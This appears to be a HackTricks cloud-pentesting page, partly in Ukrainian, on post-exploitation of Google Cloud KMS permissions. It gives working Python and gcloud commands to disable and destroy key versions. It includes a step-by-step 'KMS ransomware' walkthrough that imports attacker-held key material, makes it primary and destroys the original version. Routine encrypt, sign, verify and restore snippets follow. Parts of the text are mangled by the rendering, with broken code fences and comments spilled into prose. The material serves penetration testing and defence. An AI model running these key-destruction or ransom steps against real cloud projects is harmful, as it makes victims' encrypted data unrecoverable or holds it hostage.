11 KiB
GCP - KMS Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
KMS
Знайдіть базову інформацію про KMS у:
{{#ref}} ../gcp-services/gcp-kms-enum.md {{#endref}}
cloudkms.cryptoKeyVersions.destroy
Attacker з цим дозволом може знищити версію KMS. Щоб зробити це, спочатку потрібно відключити ключ, а потім його знищити:
Вимкнути та знищити версію ключа (Python)
```python # pip install google-cloud-kmsfrom google.cloud import kms
def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version): """ Disables a key version in Cloud KMS. """
Create the client.
client = kms.KeyManagementServiceClient()
Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
Call the API to disable the key version.
client.update_crypto_key_version(request={'crypto_key_version': {'name': key_version_name, 'state': kms.CryptoKeyVersion.State.DISABLED}})
def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version): """ Destroys a key version in Cloud KMS. """
Create the client.
client = kms.KeyManagementServiceClient()
Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
Call the API to destroy the key version.
client.destroy_crypto_key_version(request={'name': key_version_name})
Example usage
project_id = 'your-project-id' location_id = 'your-location' key_ring_id = 'your-key-ring' key_id = 'your-key-id' key_version = '1' # Version number to disable and destroy
Disable the key version
disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)
Destroy the key version
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
</details>
### KMS Ransomware
У AWS можливо повністю **steal a KMS key** шляхом модифікації KMS resource policy та дозволивши використовувати ключ лише обліковому запису атакуючого. Оскільки такі resource policies не існують у GCP, це неможливо.
Проте існує інший спосіб виконати глобальний KMS Ransomware, який включатиме наступні кроки:
- Створити нову **version of the key with a key material** імпортовану атакуючим
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
- Встановити її як версію за замовчуванням (для майбутніх даних, що будуть зашифровані)
- Перещифрувати старі дані, зашифровані попередньою версією, новою версією.
- Видалити KMS ключ
- Тепер лише attacker, який має оригінальний матеріал ключа, зможе розшифрувати зашифровані дані
Cloud Storage + CMEK модель дозволів
Коли об'єкти в Cloud Storage зашифровані з CMEK, виклики decrypt/encrypt до KMS виконуються проектним агентом сервісу Cloud Storage whose email is service-${BUCKET_PROJECT_NUMBER}@gs-project-accounts.iam.gserviceaccount.com), а не безпосередньо кінцевим користувачем, який читає об'єкт.
This means that to read something encrypted by a CMEK:
- The project's cloud storage service agent must have KMS permissions over the used KMS key (typically
roles/cloudkms.cryptoKeyEncrypterDecrypter). - The user only needs object read permissions (for example
storage.objects.get). He doesn't need permissions over the KMS key.
Thsi means that to control acces to encrypted data with the KMS key it's needed to add/rmeove KMS permissions to the projects cloud storage service agent.
Note that there is a project-level binding like roles/cloudkms.cryptoKeyEncrypterDecrypter for the Storage service agent will still allow decrypt with the keys in the same project.
Here are the steps to import a new version and disable/delete the older data:
Імпортувати нову версію ключа та видалити стару версію
```bash # Encrypt something with the original key echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt gcloud kms encrypt \ --location us-central1 \ --keyring kms-lab-2-keyring \ --key kms-lab-2-key \ --plaintext-file my-plaintext-file.txt \ --ciphertext-file my-encrypted-file.encDecrypt it
gcloud kms decrypt
--location us-central1
--keyring kms-lab-2-keyring
--key kms-lab-2-key
--ciphertext-file my-encrypted-file.enc
--plaintext-file -
Create an Import Job
gcloud kms import-jobs create my-import-job
--location us-central1
--keyring kms-lab-2-keyring
--import-method "rsa-oaep-3072-sha1-aes-256"
--protection-level "software"
Generate key material
openssl rand -out my-key-material.bin 32
Import the Key Material (it's encrypted with an asymetrict key of the import job previous to be sent)
gcloud kms keys versions import
--import-job my-import-job
--location us-central1
--keyring kms-lab-2-keyring
--key kms-lab-2-key
--algorithm "google-symmetric-encryption"
--target-key-file my-key-material.bin
Get versions
gcloud kms keys versions list
--location us-central1
--keyring kms-lab-2-keyring
--key kms-lab-2-key
Make new version primary
gcloud kms keys update
--location us-central1
--keyring kms-lab-2-keyring
--key kms-lab-2-key
--primary-version 2
Try to decrypt again (error)
gcloud kms decrypt
--location us-central1
--keyring kms-lab-2-keyring
--key kms-lab-2-key
--ciphertext-file my-encrypted-file.enc
--plaintext-file -
Disable initial version
gcloud kms keys versions disable
--location us-central1
--keyring kms-lab-2-keyring
--key kms-lab-2-key 1
Destroy the old version
gcloud kms keys versions destroy
--location us-central1
--keyring kms-lab-2-keyring
--key kms-lab-2-key
--version 1
</details>
### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`
<details>
<summary>Зашифрувати дані симетричним ключем (Python)</summary>
```python
from google.cloud import kms
import base64
def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)
# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')
# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext
# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)
# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'
ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)
cloudkms.cryptoKeyVersions.useToSign
Підписати повідомлення за допомогою асиметричного ключа (Python)
```python import hashlib from google.cloud import kmsdef sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message): """ Sign a message using an asymmetric key version from Cloud KMS. """
Create the client.
client = kms.KeyManagementServiceClient()
Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8') digest = {'sha256': hashlib.sha256(message_bytes).digest()}
Call the API to sign the digest.
sign_response = client.asymmetric_sign(name=key_version_name, digest=digest) return sign_response.signature
Example usage for signing
project_id = 'your-project-id' location_id = 'your-location' key_ring_id = 'your-key-ring' key_id = 'your-key-id' key_version = '1' message = 'your-message'
signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message) print('Signature:', signature)
</details>
### `cloudkms.cryptoKeyVersions.useToVerify`
<details>
<summary>Перевірити підпис асиметричним ключем (Python)</summary>
```python
from google.cloud import kms
import hashlib
def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}
# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success
# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
cloudkms.cryptoKeyVersions.restore
Дозвіл cloudkms.cryptoKeyVersions.restore дозволяє суб'єкту відновити версію ключа, яку раніше було заплановано до знищення або деактивовано в Cloud KMS, повертаючи її в активний і придатний для використання стан.
gcloud kms keys versions restore <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
cloudkms.cryptoKeyVersions.update
Дозвіл cloudkms.cryptoKeyVersions.update дозволяє ідентичності змінювати атрибути або стан конкретної версії ключа в Cloud KMS, наприклад вмикаючи або вимикаючи її.
# Disable key
gcloud kms keys versions disable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
# Enable key
gcloud kms keys versions enable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
{{#include ../../../banners/hacktricks-training.md}}